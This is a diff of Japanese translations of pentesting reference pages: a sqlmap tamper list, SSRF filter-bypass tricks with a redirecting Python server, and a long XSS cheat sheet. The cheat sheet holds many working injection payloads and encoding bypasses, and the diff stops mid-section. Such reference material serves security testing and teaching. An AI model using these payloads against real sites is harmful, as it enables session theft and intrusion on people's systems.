| uppercase.py | 各キーワード文字を大文字の「INSERT」に置き換えます。 |
|
||||
| varnish.py | HTTPヘッダー「X-originating-IP」を追加します。 |
|
||||
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -5,6 +5,7 @@
|
||||
### ローカルホスト
|
||||
```bash
|
||||
# Localhost
|
||||
0 # Yes, just 0 is localhost in Linuc
|
||||
http://127.0.0.1:80
|
||||
http://127.0.0.1:443
|
||||
http://127.0.0.1:22
|
||||
@ -145,7 +146,7 @@ next={domain}&next=attacker.com
|
||||
```
|
||||
### パスと拡張子のバイパス
|
||||
|
||||
URLがパスまたは拡張子で終わる必要がある場合、またはパスを含む必要がある場合は、次のいずれかのバイパスを試すことができます:
|
||||
URLがパスまたは拡張子で終わる必要がある場合、またはパスを含む必要がある場合は、次のいずれかのバイパスを試すことができます:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
@ -165,7 +166,7 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
サーバーがSSRFの**元のリクエストをフィルタリングしている**が、そのリクエストに対する**リダイレクト**レスポンスをフィルタリングしていない可能性があります。\
|
||||
サーバーがSSRFの**元のリクエストをフィルタリングしている**が、そのリクエストに対する**リダイレクト**レスポンスはフィルタリングしていない可能性があります。\
|
||||
例えば、`url=https://www.google.com/` を介してSSRFに脆弱なサーバーは、**urlパラメータをフィルタリングしている**かもしれません。しかし、リダイレクトしたい場所に302で応答する [pythonサーバーを使用する](https://pastebin.com/raw/ywAUhFrv) と、127.0.0.1のようなフィルタリングされたIPアドレスや、gopherのようなフィルタリングされた**プロトコル**に**アクセスできる**かもしれません。\
|
||||
[このレポートをチェックしてください。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
@ -190,9 +191,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
```
|
||||
## 説明されたトリック
|
||||
|
||||
### バックスラッシュトリック
|
||||
### バックスラッシュ・トリック
|
||||
|
||||
_バックスラッシュトリック_ は、[WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを利用します。RFC3986はURIの一般的なフレームワークですが、WHATWGはウェブURLに特化しており、現代のブラウザに採用されています。重要な違いは、WHATWG標準がバックスラッシュ(`\`)をフォワードスラッシュ(`/`)と同等と認識している点で、これがURLの解析方法に影響を与え、特にホスト名からパスへの遷移を示します。
|
||||
_バックスラッシュ・トリック_ は、[WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを利用します。RFC3986はURIの一般的なフレームワークですが、WHATWGはウェブURLに特化しており、現代のブラウザに採用されています。重要な違いは、WHATWG標準がバックスラッシュ(`\`)をフォワードスラッシュ(`/`)と同等と認識している点で、これがURLの解析方法に影響を与え、特にホスト名からパスへの遷移を示します。
|
||||
|
||||

|
||||
|
||||
|
@ -25,7 +25,7 @@
|
||||
4. 実行されているJavaScript **関数**:
|
||||
1. 実行する関数の名前を指定できます。例:`?callback=alert(1)`
|
||||
4. **使用されている場合**:
|
||||
1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているか**に注意してください。
|
||||
1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているかに注意してください。**
|
||||
|
||||
複雑なXSSに取り組む際に知っておくと興味深いこと:
|
||||
|
||||
@ -35,7 +35,7 @@ debugging-client-side-js.md
|
||||
|
||||
## 反映された値
|
||||
|
||||
XSSを成功裏に悪用するために最初に見つける必要があるのは、**あなたが制御する値がウェブページに反映されている**ことです。
|
||||
XSSを成功裏に悪用するために最初に見つける必要があるのは、**あなたが制御する値がウェブページに反映されていること**です。
|
||||
|
||||
- **中間的に反映された**:パラメータの値やパスがウェブページに反映されていることがわかった場合、**反映されたXSS**を悪用できるかもしれません。
|
||||
- **保存されて反映された**:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映される場合、**保存されたXSS**を悪用できるかもしれません。
|
||||
@ -56,10 +56,10 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
|
||||
|
||||
1. **属性とタグから抜け出す**(その後、生のHTMLにいることになります)新しいHTMLタグを作成して悪用します:`"><img [...]`
|
||||
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている)、タグに応じてJSコードを実行する**イベント**を**作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
|
||||
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
||||
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
||||
4. あなたの入力が**「悪用できないタグ」**内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
クラス名を制御している場合のAngularによるXSSの奇妙な例:
|
||||
クラス名を制御する場合のAngularによるXSSの奇妙な例:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -70,7 +70,7 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
|
||||
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグの間、`.js`ファイルの中、または**`javascript:`**プロトコルを使用した属性の中に反映されます:
|
||||
|
||||
- **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコードの中にあることに気づかないからです。
|
||||
- **JS文字列の中**に反映されていて、最後のトリックが機能しない場合は、文字列から**退出**し、**コードを実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
|
||||
- **JS文字列の中**に反映されていて、最後のトリックが機能しない場合は、文字列から**退出**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
@ -92,15 +92,15 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります**。一般的な例として、`?callback=callbackFunc`のようなものがあります。
|
||||
いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります。** 実際に見られる一般的な例は、`?callback=callbackFunc`のようなものです。
|
||||
|
||||
ユーザーによって直接提供された何かが実行されようとしているかどうかを確認する良い方法は、**パラメータの値を変更すること**(例えば「Vulnerable」に)で、コンソールで次のようなエラーを探すことです:
|
||||
|
||||
.png>)
|
||||
|
||||
もし脆弱であれば、**値を送信するだけでアラートをトリガーできる可能性があります**: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です**(**`[\w\._]`**)。
|
||||
もし脆弱であれば、**値を送信するだけでアラートをトリガーできる可能性があります: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。**
|
||||
|
||||
しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
|
||||
しかし、その制限があっても、いくつかのアクションを実行することはまだ可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
**JSコード**が、攻撃者によって制御される**データ**(例: `location.href`)を**安全でない**方法で使用しています。攻撃者は、これを悪用して任意のJSコードを実行することができます。
|
||||
**JSコード**が、攻撃者によって制御される**データ**を**安全でない方法**で使用しています。例えば、`location.href`。攻撃者は、これを悪用して任意のJSコードを実行することができます。
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -233,24 +233,24 @@ onerror=alert`1`
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
最後のものは、5つに展開される2つのUnicode文字を使用しています: telsr\
|
||||
これらの文字の詳細は[こちら](https://www.unicode.org/charts/normalization/)で見つけることができます。\
|
||||
どの文字が分解されているかを確認するには[こちら](https://www.compart.com/en/unicode/U+2121)をチェックしてください。
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
脆弱性を悪用するために**ユーザーにリンクやフォームをクリックさせる**必要がある場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。
|
||||
脆弱性を悪用するために、**ユーザーにリンクや事前に入力されたデータを持つフォームをクリックさせる必要がある**場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。
|
||||
|
||||
### 不可能 - ダングリングマークアップ
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
**JSコードを実行する属性を持つHTMLタグを作成することは不可能だと思う**場合、[**ダングリングマークアップ**](../dangling-markup-html-scriptless-injection/index.html)を確認してください。なぜなら、**JS**コードを実行することなく脆弱性を**悪用**できるからです。
|
||||
**JSコードを実行する属性を持つHTMLタグを作成することは不可能だと思う**場合、[**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)を確認してください。なぜなら、**JS**コードを実行することなく**脆弱性を悪用**できるからです。
|
||||
|
||||
## HTMLタグ内へのインジェクション
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### タグ内/属性値からのエスケープ
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
**HTMLタグ内にいる**場合、最初に試すべきことは、タグから**エスケープ**し、[前のセクション](#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
|
||||
もし**タグからエスケープできない**場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_):
|
||||
**HTMLタグの内部にいる**場合、最初に試すべきことは、タグから**エスケープ**し、[前のセクション](#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
|
||||
タグから**エスケープできない**場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_)。
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -265,16 +265,16 @@ onerror=alert`1`
|
||||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### 属性内
|
||||
### 属性内で
|
||||
|
||||
たとえ **属性から逃げることができなくても**(`"` がエンコードまたは削除されている場合)、**どの属性**にあなたの値が反映されているかに応じて **すべての値を制御しているか、一部だけを制御しているか**によって、悪用することができます。**例えば**、`onclick=` のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\
|
||||
もう一つの興味深い **例**は、属性 `href` で、`javascript:` プロトコルを使用して任意のコードを実行できることです: **`href="javascript:alert(1)"`**
|
||||
たとえ**属性から逃げることができなくても**(`"`がエンコードまたは削除されている場合)、**どの属性**にあなたの値が反映されているかに応じて、**すべての値を制御しているのか、一部だけを制御しているのか**によって、悪用することができるでしょう。**例えば**、`onclick=`のようなイベントを制御できれば、クリックされたときに任意のコードを実行させることができます。\
|
||||
もう一つの興味深い**例**は、属性`href`で、`javascript:`プロトコルを使用して任意のコードを実行できることです:**`href="javascript:alert(1)"`**
|
||||
|
||||
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
|
||||
|
||||
HTMLタグ属性の値内の **HTMLエンコードされた文字**は **ランタイムでデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">戻る </a>`
|
||||
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">戻る</a>`
|
||||
|
||||
**あらゆる種類のHTMLエンコードが有効であることに注意してください**:
|
||||
**あらゆる種類のHTMLエンコードが有効であることに注意してください**:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
@ -295,7 +295,7 @@ HTMLタグ属性の値内の **HTMLエンコードされた文字**は **ラン
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Unicodeエンコードを使用した内部イベントのバイパス**
|
||||
**Unicodeエンコードを使用して内部イベントをバイパスする**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -347,11 +347,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**他の難読化トリック**
|
||||
|
||||
_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるためです。**_
|
||||
_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。属性内にいるためです。**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見たら、**それは重要ではありません。** 実行時に**シングルクォート**として**解釈**されます。
|
||||
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見ても、**問題ありません。** 実行時に**シングルクォート**として**解釈されます。**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -359,7 +359,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
||||
```
|
||||
注意してください、もしあなたが**両方**の`URLencode + HTMLencode`を任意の順序で**ペイロード**をエンコードするために使用しようとすると、それは**機能しません**が、**ペイロード内で混ぜる**ことはできます。
|
||||
|
||||
**`javascript:`でのHexおよびOctalエンコードの使用**
|
||||
**`javascript:`を使ったHexおよびOctalエンコード**
|
||||
|
||||
あなたは**Hex**および**Octalエンコード**を`iframe`の`src`属性内で(少なくとも)使用して**JSを実行するHTMLタグを宣言**することができます:
|
||||
```javascript
|
||||
@ -377,15 +377,15 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
任意の**`<a href=`**タグに**`target="_blank" and rel="opener"`**属性を含むURLを注入できる場合は、この動作を悪用するために**次のページを確認してください**:
|
||||
任意の **`<a href=`** タグに **`target="_blank" and rel="opener"`** 属性を含むURLを注入できる場合は、この動作を悪用するために**次のページを確認してください**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### イベントハンドラーバイパスについて
|
||||
### イベントハンドラのバイパス
|
||||
|
||||
まず、役立つ**"on"イベントハンドラ**についてはこのページを確認してください([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\
|
||||
まず、役立つ **"on" イベントハンドラ** のためにこのページを確認してください ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\
|
||||
このイベントハンドラの作成を妨げるブラックリストがある場合は、次のバイパスを試すことができます:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
@ -408,7 +408,7 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
そして**メタタグ**では:
|
||||
そして**メタタグ**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields): **隠し属性**内に**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここにベクターがあります:
|
||||
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここにベクターがあります:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -456,11 +456,11 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
と
|
||||
および
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
今、リンクを次の形式に変更できます
|
||||
今、リンクを変更して次の形式にすることができます
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
@ -476,11 +476,11 @@ onbeforetoggle="alert(2)" />
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
この例では、**シングルクォートを閉じていない**ことに注意してください。これは、**HTMLの解析が最初にブラウザによって行われる**ためで、ページ要素、スクリプトのブロックを特定することが含まれます。埋め込まれたスクリプトを理解して実行するためのJavaScriptの解析は、その後に行われます。
|
||||
この例では、**シングルクォートを閉じていない**ことに注意してください。これは、**HTMLの解析が最初にブラウザによって行われる**ためで、ページ要素、スクリプトのブロックを特定することが含まれます。埋め込まれたスクリプトを理解し実行するためのJavaScriptの解析は、その後に行われます。
|
||||
|
||||
### JSコード内
|
||||
|
||||
`<>`がサニタイズされている場合でも、**文字列をエスケープ**して、入力が**存在する場所**で**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。
|
||||
`<>`がサニタイズされている場合でも、**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -488,8 +488,8 @@ onbeforetoggle="alert(2)" />
|
||||
```
|
||||
### テンプレートリテラル \`\`
|
||||
|
||||
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
|
||||
したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます:
|
||||
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式**を**埋め込む**ことができます。\
|
||||
したがって、バックティックを使用しているJS文字列内に入力が**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行することができます:
|
||||
|
||||
これは次のように**悪用**できます:
|
||||
```javascript
|
||||
@ -739,7 +739,7 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOMの脆弱性**
|
||||
|
||||
攻撃者によって制御された**安全でないデータ**を使用している**JSコード**があります。例えば、`location.href`のようなものです。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
|
||||
攻撃者によって制御される**安全でないデータ**を使用している**JSコード**があります。例えば、`location.href`のようなものです。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
|
||||
**DOMの脆弱性に関する説明が長くなったため、** [**このページに移動しました**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
@ -747,7 +747,7 @@ dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明**が見つかります。\
|
||||
また、**前述の投稿の最後に** [**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)に関する説明があることを忘れないでください。
|
||||
また、**前述の投稿の最後に**、[**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
|
||||
|
||||
### Self-XSSのアップグレード
|
||||
|
||||
@ -784,7 +784,7 @@ self XSSを見つけ、ウェブページに**管理者用のセッションミ
|
||||
### Ruby-On-Rails バイパス
|
||||
|
||||
**RoR マスアサインメント** により、HTMLに引用符が挿入され、その後引用制限がバイパスされ、タグ内に追加のフィールド(onfocus)を追加できます。\
|
||||
フォームの例 ([from this report](https://hackerone.com/reports/709336))、ペイロードを送信すると:
|
||||
フォームの例 ([from this report](https://hackerone.com/reports/709336))、ペイロードを送信した場合:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
@ -824,24 +824,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### 302レスポンスにおけるヘッダーインジェクションを用いたXSS
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
**302リダイレクトレスポンスにヘッダーを注入できる**ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
|
||||
もしあなたが **302リダイレクトレスポンスにヘッダーを注入できる** ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは **簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
|
||||
|
||||
[**このレポート**](https://www.gremwell.com/firefox-xss-302)や[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
|
||||
[**このレポート**](https://www.gremwell.com/firefox-xss-302) と [**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
|
||||
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`.
|
||||
|
||||
### 文字、数字、ドットのみ
|
||||
### Only Letters, Numbers and Dots
|
||||
|
||||
**コールバック**を示すことができる場合、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読む**](#javascript-function)ことで、この動作を悪用する方法を見つけることができます。
|
||||
もしあなたが **コールバック** を示すことができるなら、javascriptが **実行する** 文字はそれらの文字に制限されます。[**この投稿のこのセクションを読んで**](#javascript-function) この動作を悪用する方法を見つけてください。
|
||||
|
||||
### XSSに対する有効な`<script>`コンテンツタイプ
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
([**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))スクリプトを`application/octet-stream`のような**コンテンツタイプ**で読み込もうとすると、Chromeは次のエラーを表示します:
|
||||
([**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))もしあなたが `application/octet-stream` のような **content-type** でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます:
|
||||
|
||||
> MIMEタイプ(`application/octet-stream`)が実行可能ではなく、厳格なMIMEタイプチェックが有効になっているため、‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')からスクリプトの実行を拒否しました。
|
||||
> MIMEタイプ(‘application/octet-stream’)が実行可能ではなく、厳格なMIMEタイプチェックが有効になっているため、‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') からスクリプトの実行を拒否しました。
|
||||
|
||||
Chromeが**読み込まれたスクリプト**を実行するのをサポートする唯一の**Content-Type**は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)のconst **`kSupportedJavascriptTypes`**内のものです。
|
||||
Chromeが **読み込まれたスクリプト** を実行するのをサポートする唯一の **Content-Type** は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) の const **`kSupportedJavascriptTypes`** 内のものです。
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -870,7 +870,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
<script type="???"></script>
|
||||
```
|
||||
- **module** (デフォルト、説明は不要)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、HTML、CSS、JSなどのデータをまとめて**`.wbn`**ファイルにパッケージ化できる機能です。
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、データ(HTML、CSS、JSなど)をまとめて**`.wbn`**ファイルにパッケージ化できる機能です。
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -944,7 +944,7 @@ import { partition } from "lodash"
|
||||
|
||||
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)を使用して、いくつかの保護を回避しようとすることがあります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
例えば、[**この書き込み**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
|
||||
例えば、[**このレポート**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
|
||||
|
||||
### ChromeキャッシュからXSSへ
|
||||
|
||||
@ -985,7 +985,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
もし**すべてが未定義**である場合、信頼できないコードを実行する前に(例えば[**このレポート**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)のように)、役立つオブジェクトを「無から」生成して、任意の信頼できないコードの実行を悪用することが可能です:
|
||||
